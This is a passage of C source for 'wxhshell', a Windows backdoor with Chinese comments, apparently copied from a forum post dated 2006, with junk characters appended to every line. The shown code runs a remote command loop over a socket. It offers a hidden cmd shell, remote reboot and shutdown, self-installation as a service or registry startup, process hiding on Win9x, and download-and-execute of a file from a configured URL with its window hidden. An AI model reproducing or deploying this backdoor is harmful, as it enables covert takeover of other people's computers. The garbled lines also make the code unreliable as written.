  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l|'{Cb   
  } D+69U[P_A  
  else { 9ZXEy }q57  
\KT}T  
    switch(cmd[0]) { R[{s\  
  2N[S*#~*e  
  // 帮助 WR@TH bU  
  case '?': { o2r)K AA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6A*k  
    break; D}6~2j  
  } c(G;O )ikS  
  // 安装 ,]qTJ`J  
  case 'i': { DSc:>G  
    if(Install()) k\`~v$R3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nK;c@!~pS  
    else sqP (1|9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Bs=[TNd[  
    break; mu#  a  
    } @O Rk  
  // 卸载 6 s1lf!  
  case 'r': { =&xN dc  
    if(Uninstall()) Jx_BjkF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'o.A8su,  
    else d1=fA%pJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yPhTCr5pK  
    break; 1Xj>kE:  
    } R@Kzdeo  
  // 显示 wxhshell 所在路径 K,Z_lP_~Vw  
  case 'p': { U";8zplU  
    char svExeFile[MAX_PATH]; ofIw7D*h  
    strcpy(svExeFile,"\n\r"); ^CWxYDG*  
      strcat(svExeFile,ExeFile); c1L0#L/F6"  
        send(wsh,svExeFile,strlen(svExeFile),0); j`A3N7;  
    break; z c7P2@  
    } rS^+y{7  
  // 重启 l'0fRQc  
  case 'b': { _BP!{~&;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mp`2[S@$  
    if(Boot(REBOOT)) Tz{f 5c&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y~%9TC  
    else { Q5~Y;0'  
    closesocket(wsh); 3}lT"K  
    ExitThread(0); >GV = %  
    } mxQPOu  
    break; Oj~4uT&"  
    } Y3RaR 9  
  // 关机 i{+W62k*  
  case 'd': { 12JmSvD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0M_~@E*&  
    if(Boot(SHUTDOWN)) 1Ff Sqd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +M^+qt;]V  
    else { xYUC|c1Q9  
    closesocket(wsh); WMw^zq?hd@  
    ExitThread(0); dNg5#?mzT5  
    } _)U[c;^6  
    break; n?=d)[]  
    } U.,_zEbx,  
  // 获取shell 7)U08"  
  case 's': { 6b6rM%B.oD  
    CmdShell(wsh); ft" t  
    closesocket(wsh); ,/uVq G  
    ExitThread(0); )E hR qX9  
    break; #5b}"xK{  
  } xh) h#p.  
  // 退出 $pLJtQ  
  case 'x': { 4u.Fy<+@4M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }Jr!a M'  
    CloseIt(wsh); 7)Y0D@wg  
    break; <T|?`;K  
    }  a\@k5?  
  // 离开 ZqK1|/\ rh  
  case 'q': { jM%8h$&E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); io1hUZ  
    closesocket(wsh); s=BJ7iU_68  
    WSACleanup(); a2!;$B%  
    exit(1); s`63 y&Z[  
    break; 8v V<A*`  
        } )U5Ba^"fI  
  } abgA Ug)  
  } u>y/<9]q8  
FIEA 'kUy  
  // 提示信息 zS<idy F`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - D&d1`N4  
} l =Is-N`  
  } ~qu}<u)P  
%%h0 H[5*  
  return; 6 #m:=  
} 4Y `=`{Q  
N6thbH@  
// shell模块句柄 > %B7/l$  
int CmdShell(SOCKET sock) vZJu =t  
{ hvo7T@*'  
STARTUPINFO si; mDX UF~G[  
ZeroMemory(&si,sizeof(si)); f~ -qjEWm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2[QyH'"^E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4ynGXJmMlR  
PROCESS_INFORMATION ProcessInfo; tYST&5Kh~  
char cmdline[]="cmd"; L[a A4`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {wwkbc*  
  return 0; >Nr~7s  
} l`(pV ;{W  
o)r%4YOL  
// 自身启动模式 7:Be.(a  
int StartFromService(void) jk9/EmV*r  
{ @ ?CEi#-  
typedef struct ywkyxt  
{ uz'MUT(68  
  DWORD ExitStatus; s_RUb  
  DWORD PebBaseAddress; OkfnxknZ|  
  DWORD AffinityMask; M'>8P6O  
  DWORD BasePriority; P&.-c _  
  ULONG UniqueProcessId; ''3b[<  
  ULONG InheritedFromUniqueProcessId; _sX@BE  
}   PROCESS_BASIC_INFORMATION; W~Ae&gcn#  
a=&{B'^G  
PROCNTQSIP NtQueryInformationProcess; ['JIMcD  
1!p7N$QR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ("txj[v-/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KbM1b  
>^ TcO  
  HANDLE             hProcess; u1) #^?  
  PROCESS_BASIC_INFORMATION pbi; ;JV(!8[  
;+(EmD:Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JSu+/rI1  
  if(NULL == hInst ) return 0; kS1?%E,)q  
s MNhD/bb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &E0L 2gbI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4ztU) 1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .ovG_O  
:>3/*"vx?G  
  if (!NtQueryInformationProcess) return 0; (Y:?qy  
@*^%^ P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TS49{^d$  
  if(!hProcess) return 0; o3,}X@p  
CA]u3bf~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [/GCy0jk  
|$G|M=*LN  
  CloseHandle(hProcess); 2P2/]-6s#r  
GFfZ TA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SK t&BnW  
if(hProcess==NULL) return 0; 4o ,G[Cf_  
F/w*[Xi Sh  
HMODULE hMod; B'8T+qvA  
char procName[255]; yP0XA=,Y  
unsigned long cbNeeded; '@G=xYR  
':#DROe!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1g>>{ y  
a_U[!`/ w  
  CloseHandle(hProcess); z#Db~  
6YF<GF{  
if(strstr(procName,"services")) return 1; // 以服务启动 +~\1g^h  
cxpG6c  
  return 0; // 注册表启动 5#B M  
} v%E~sX&CG  
Tu&W7aoX5  
// 主模块 .kp3<.  
int StartWxhshell(LPSTR lpCmdLine) z6uHe{|  
{ pz ~REsx  
  SOCKET wsl; bBgyLyg  
BOOL val=TRUE; C8AR ^F W  
  int port=0; w" ,ab j  
  struct sockaddr_in door; V#TNv0&0  
W-<`Vo'  
  if(wscfg.ws_autoins) Install(); Rgb&EnVW  
nUScDb2|  
port=atoi(lpCmdLine); Zy=DY  
X]c>clk,  
if(port<=0) port=wscfg.ws_port; 6wH:jd9,  
CS\8ej}y  
  WSADATA data; 0 `$fs.4c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XVzsqi*Z  
:uB(PeAv*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9=.7[-6i9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sGO+O$J  
  door.sin_family = AF_INET; BY>]6SrP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VfkQc$/  
  door.sin_port = htons(port); !dOpLUh l  
ih(Al<IS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %hi]oz  
closesocket(wsl); P1dFoQz  
return 1; x\aCZ  
} ?$.x%G+  
Q& S 7_  
  if(listen(wsl,2) == INVALID_SOCKET) { TFDzTD  
closesocket(wsl); cS(=wC  
return 1; GC7W7B  
} ZwM d 22  
  Wxhshell(wsl); FZtT2Z4&i  
  WSACleanup(); -FQc_k?VF  
gdkHaLL"  
return 0; +2g}wH)l  
}fL ]}&  
} lw _@(E]E  
: `,#z?Rk  
// 以NT服务方式启动 8\rAx P}=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h>ZU67-   
{ t|C?=:_  
DWORD   status = 0; &n]]OPo  
  DWORD   specificError = 0xfffffff; @./ @"mR<  
S^{tRPF%d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?N]G;%3/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?f:ND1jU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H/l,;/q]b  
  serviceStatus.dwWin32ExitCode     = 0; +>Pq]{Uf1j  
  serviceStatus.dwServiceSpecificExitCode = 0; UaBNoD  
  serviceStatus.dwCheckPoint       = 0; \qJ cs'D  
  serviceStatus.dwWaitHint       = 0; }ISR +./+  
)kIjZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r{wf;5d(  
  if (hServiceStatusHandle==0) return; HpS1(%d"  
/4$ c-k  
status = GetLastError(); b6g/SIae  
  if (status!=NO_ERROR) ]F #0to  
{ Rm Q>.?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5hfx2 O)  
    serviceStatus.dwCheckPoint       = 0; $]MOAj"LH  
    serviceStatus.dwWaitHint       = 0; |WSm puf  
    serviceStatus.dwWin32ExitCode     = status; 'y7<!uo?  
    serviceStatus.dwServiceSpecificExitCode = specificError; n<Ki.;-ZE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U["IXR#  
    return; aT8A +=K6  
  } 5uU{!JuSa  
0>:`|IGnT2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `+(4t4@ew  
  serviceStatus.dwCheckPoint       = 0; VM+l9 z>  
  serviceStatus.dwWaitHint       = 0; lM.k *`$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {'cdi`  
} ~>$z1o&}.  
aZ}z/.b]  
// 处理NT服务事件,比如:启动、停止 ).jna`A,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *}Rd%'  
{ eNrwkV^  
switch(fdwControl) cq9d;~q  
{ 0 gr#<(  
case SERVICE_CONTROL_STOP: 9mEhZ"  
  serviceStatus.dwWin32ExitCode = 0; Rk}=SB-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }R`}Ey|{  
  serviceStatus.dwCheckPoint   = 0; iBCIJ!;  
  serviceStatus.dwWaitHint     = 0; L>!MEMqm  
  { uKo4nXVtp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B|SX?X  
  } :KsBJ>2ck  
  return; n;k B_i*l  
case SERVICE_CONTROL_PAUSE: RMa#z [{0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )T@+"Pw8t  
  break; BA_l*h%=Cc  
case SERVICE_CONTROL_CONTINUE: Dm`gzGl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a2H_8iQ!  
  break; EiWd =jDm  
case SERVICE_CONTROL_INTERROGATE: tfjbG;R  
  break; 5S4`.'  
}; [bd?$q i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nG"Ae8r  
} 0!`!I0  
/7C %m:  
// 标准应用程序主函数 DkBVk+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &XSe&1  
{ -ha[xM05  
_x?S0R1  
// 获取操作系统版本 ;sd] IZ$#  
OsIsNt=GetOsVer(); iD2>-yf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .T}S[`Yx5  
r5&?-G  
  // 从命令行安装 8C2!Wwz`J8  
  if(strpbrk(lpCmdLine,"iI")) Install(); IF|%.%I$!U  
)F:UkS  
  // 下载执行文件 HO;,Ya^l  
if(wscfg.ws_downexe) { 2graLJ?9Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ) 2Hl\"F  
  WinExec(wscfg.ws_filenam,SW_HIDE); P4~C0z  
} l # F.S5i  
`d:cq.OO  
if(!OsIsNt) { !,PoH  
// 如果时win9x,隐藏进程并且设置为注册表启动 _1P8rc"Dx  
HideProc(); wGnFDkCNz  
StartWxhshell(lpCmdLine); 1FmVx   
} ,?s: s&4  
else ca8.8uHY\  
  if(StartFromService()) X3rvM8  
  // 以服务方式启动 l&v&a!EU  
  StartServiceCtrlDispatcher(DispatchTable); ;923^*\:F{  
else N^K@$bs4^  
  // 普通方式启动 )NS& 1$  
  StartWxhshell(lpCmdLine); ,Mw;kevw  
STgYXA(  
return 0; L\X 2Olfz1  
}
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只看该作者 1 发表于: 2006-10-10
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